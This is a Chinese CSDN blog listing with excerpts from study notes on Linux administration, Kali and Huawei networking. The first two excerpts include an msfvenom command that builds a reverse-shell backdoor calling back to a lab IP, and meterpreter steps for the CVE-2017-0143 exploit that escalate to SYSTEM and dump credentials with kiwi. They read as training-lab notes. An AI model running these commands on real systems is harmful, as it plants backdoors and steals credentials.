xigua2540-CSDN博客

原创 SSH暴力破解

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell //后门名称是shell，反弹到192.168.10.224的4444端口。少部分攻击是针对 tomcat、postgres、 hadoop、 mysql、apache、ftpuser、vnc等Linux 服务器上常见应用程序使用的用户名。SSH基于用户名密码的身份验证，容易遭受密码暴力破解攻击；

2023-06-12 18:07:20 2440

原创 CVE-2017-0143漏洞利用等

metepreter>ps -S "csrss" (搜索csrss.exe进程,获取进程号)metepreter>migrate 进程号 (迁移进程,获取SYSTEM权限)metepreter>creds_all (获取所有凭证,加密的密码会进行解析)metepreter>load kiwi (加载kiwi模块)

2023-06-08 20:34:30 201

原创 kali系统渗透

msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.10.142 //设置攻击目标。msf6 auxiliary(scanner/rdp/ms12_020_check) > run //攻击。在物理机浏览器访问： http://192.168.10.143/doc/ //查看网站列表。

2023-06-07 18:03:11 1076

原创 kali初认识

然后点开文件进去，删除掉原有的内容，把下面的内容粘贴进去，保存。找到 /etc/apt/sources.list 配置文件。

2023-06-05 19:13:43 131

原创 Linux中的ACL以及加固

然后，你可能有一个检查是否是在工作时间登录的模块，如果标记为 [default=die]，那么如果这个模块检查失败（也就是说，用户在非工作时间尝试登录），那么整个认证过程立即失败，不再执行任何其他模块。然后，你可能有一个检查是否是在工作时间登录的模块，如果标记为 [default=die]，那么如果这个模块检查失败（也就是说，用户在非工作时间尝试登录），那么整个认证过程立即失败，不再执行任何其他模块。如果此模块失败，那么即使其他模块成功，整个认证过程也会在所有模块执行完后被标记为失败。

2023-06-05 14:02:10 909

原创 Linux周六串讲

shift +zz 相当于:wq 保存退出。

2023-06-03 12:01:48 93

原创 linux第六七天 which find进程等

该值越高，进程优先级越低。[root@zbx ~]# grep -v "^$" /etc/selinux/config | grep -v "#" // 去掉空行和带#号的行。//通过管道符把student的密码修改为123。[root@zbx ~]# find /var/log/ -mtime +30 -type f // 查找超过30天未修改的普通文件。[root@zbx ~]# find /usr/bin/ -perm -u=s //查找属主设置s标志的文件（SUID）

2023-06-02 17:58:51 477

原创 Linux第五天

nmap -sV -p 80 192.168.10.223 //扫描端口的命令对10.223这个主机通过80端口进行扫描。mysql_secure_installation //启动安全安装脚本。

2023-05-31 20:23:59 61

原创 Linux第四天

systemctl is-active httpd //查询httpd是否开启。less /var/log/secure //查看安全日志。getenforce //检查当前的SELinux运行状态。用unzip命令解压 zip命令。

2023-05-30 20:19:50 45

原创 Linux第三天

yum repolist -v //查看软件安装的历史列表。//在 /etc/fstab vim中进行开机挂载。man手册一般用于工具比如nmap。lsblk :查看光盘内容。

2023-05-29 18:02:23 58

原创 linux周六串讲

C:\Users\DELL>scp -r D:\123\123.txt root@192.168.10.233:/tmp/ //在Windows CMD窗口把 D盘下的123txt文件。cat /etc/resolv.conf //查看DNS地址。hostname //临时修改主机名。

2023-05-27 12:06:54 1093

原创 Linux第二天

mv /root/mulu1/grub2 /root/mulu1/grub2.bak //虽然是mv移动，实际是改名操作。rw-r--r--. 1 root root 1954 5月 26 16:33 /etc/passwd。cp -r /boot/grub2 /root/mulu1 //把grub2 复制到mulu1。ls /root/*.cfg //查看root目录下所有以.cfg后缀的内容。ls -A /root //查看root文件下所有的隐藏文件。

2023-05-27 09:15:55 2010

原创 Linux第一节

scp -r d:\12.txt root@192.168.10.233:/tmp //在win+R界面把12.txt文件上传到192.168.10.233中/tmp目录里。C:\Users\DELL>scp -r root@192.168.10.233:/etc/passwd D:\ //把etc下的passwd文件下载到D盘。cat /etc/resolv.conf //查看DNS的命令。在登录界面，alt+F1--F6 / /开启控制台切换。nmtui //网络使用文字显示的命令。

2023-05-25 18:03:26 712

原创远程FTP连接等

R1-aaa]local-user ftp ftp-directory flash: //FTP需要这一步。[R1]ftp server enable //开启FTP服务。[R1-ftp]dir //查看当前FTP服务器中的文件列表。[R1-ftp]put shengji.txt //上传文件。[R1-ftp]get 文件名 //下载相应的文件。dir //查看本地文件，是否下载成功。[R1-ftp]q //返回R1设备。

2023-05-24 17:32:33 998

原创 hcip晚上 BGP内容

策略路由：已经形成路由表了，但是我就是不按照路由表的下一跳转发，我按照我自己的想法转发数据，策略路由优先级高于路由表，是一种VIP服务。路由策略：路由策略可以过滤路由信息，影响路由表的生成，可以改变路由表的大小。ip ip-prefix：地址前缀列表：一个更加精确的过滤器（抓信息的）ACL：访问控制列表，本质上是一个流量过滤器（抓流量的，抓信息的）

2023-05-22 20:54:23 52

原创三阶段项目

totally nssa:完全不那么stub的区域：不要3 4 5类，要7类（不要其他区域产生的外部路由也不要其他区域的路由信息，要自己区域外部路由）NSSA:不那么stub的区域：不要4 5类lsa，要7类lsa（不要其他区域产生的外部路由，要自己区域产生的外部路由）5类LSA：外部路由信息--ASBR产生---所有区域每一台设备。

2023-05-22 18:07:25 559

原创周六晚周日全天Hcip BGP

运行BGP的路由器被称为BGP发言者（ BGP Speaker），或BGP路由器。虚拟接口的优势就是不会down，具有稳定性，所以在BGP OSPF中很受欢迎。3.具有非常丰富的路由控制策略，可以实现灵活的选路。ISIS，前提我是level 1，收到ATT位置为1 的路由是默认路由。2.可以传输大量的路由，支持大规模网络。我们要在不同的AS之间进行通信，需要使用BGP协议。dis bgp peer //查看BGP邻居表。内部邻居建邻居的时候，可以跨网段跨设备建立邻居。和虚拟接口建立邻居，加一条。

2023-05-21 17:42:04 499

原创三阶段项目相关内容

原因：MAC地址冲突了，DHCP将252地址分配给了PC，与SW6上的252地址冲突。[SW6]stp instance 0 priority 0 //不让他走下面，所以把实例0优先级改成0。display stp instance 10 brief //只看实例10的端口角色。①cost开销值（到达跟网桥的距离）①cost开销值（到达跟网桥的距离）指定端口：根网桥上所有端口都是指定端口。备份网关：监听vrrp报文，主网关发送vrrp报文时间的3倍。阻塞端口[非指定端口]（AP）

2023-05-19 18:04:08 594

原创 hcip晚上课程

在广播型网络中，非DIS生成的信息网段信息，DIS描述的是拓扑信息。在ISIS中，cos值t默认是10，范围是1--63。CSNP10秒发一次周期性的，但是在P2P中只发一次。在OSPF中，cost值范围是1--65535。传递路由的入接口，就是数据转发的出接口。ISIS中只有两种类型，广播和P2P。DIS可以被抢占，而DR不能被抢占。

2023-05-18 20:52:30 56

原创 AC,AP以及三阶段项目

收：如果收到的数据，没有携带任何标签，则使用该端口的PVID（端口的、vlan 号），表示的数值。发：如果发送的数据，所携带的标签，和端口的PVID所相同，则摘掉标签。摄像头部署，路由交换，安全设备，服务器，存储，大数据分析。周期：2个月（机房装修，综合布线）设备调试 2天。实施范围：有线网络，无线网络，运维系统，准入认证。2.建立capwap隧道（AC控制AP的专属通道）特点：任务重，时间短，多方协作。5.AC将VAP文件下发给AP。

2023-05-18 19:42:26 501

原创 WLAN,AP等

WLAN 是无线局域网（Vireless Local Area Network）的简称。瘦AP：只有一个功能，散发无线信号，通过AC来统一配置。胖AP：功能多，但是只能单独管理。无线网络部署方案： AC直连式组网 AC旁挂式组网。上图是在分配给AP，地址的同时顺便告诉AP，AC的地址。//选择接口与AP建立capwap隧道。简单理解：无线就是网线的一个延长。AC：无线控制器--统一管理AP。上图是AP中查看MAC的命令。//查看交换机的桥MAC地址。DHCP终级配置在网关接口。

2023-05-17 18:02:31 497

原创 BGP路由策略，IPV6

当BGP 由表存在多条相同路由,会产生多个转发路径,BGP 会根据这些路由的属性,选择一条最优的。IPV4：位数 32位，点分十进制数量：约等于43亿缺点:地址不够用。必须要携带的属性：AS-PATH 起源属性下一跳。终级解决方案：IPV6地址位数128位。ospfV2 和OSPFV3的区别：没有network。从EBGP来的路由,传给|BGP S居时,下一跳不变。缩写方法：去掉左边不必要的 0。从|BGP来的路由,不会传给IBGP邻居。展示方式：冒分16进制。

2023-05-16 20:26:59 726

原创 bgp路由策略

上图中，有*和>，是有效最佳的。而没有*和没有>，是无效的，下一跳不可达。1--64511是公有AS 64512-65534为私有AS。* - valid 有效的, > - best 最佳的。特点：匹配路由精准，既可以匹配前缀，又可以匹配掩码。refresh bgp all export //刷新一下。作用：专门做路由过滤的，不能过滤数据包。//属于哪个大的联盟 AS200。//和子类AS 65002建立邻居。//连着一个子类AS 65002。本地优先级属性，默认是100，

2023-05-15 18:08:17 558

原创 HCIP周日ISIS

net地址：网络实体名，net是一种特殊的NSAP 长度：0-20字节，最小是8，最大是20，每一台运行ISIS的路由器至少要有一个net地址，但可以有多个，但是如果有多个，要求net地址中的system-id要相同。早期的ISIS是基于CLNP（无连接网络协议）而开发的，为了继续追逐TCP/IP的发展，为了支持IP网络，ISIS也升级称为了集成ISIS。Holdtime ：保持时间，表示的LSP的存活时间，是倒计时，在ISIS中，LSP的最大保持时间（存活时间）是1200S。比如：49.0010。

2023-05-14 18:00:38 331

空空如也

空空如也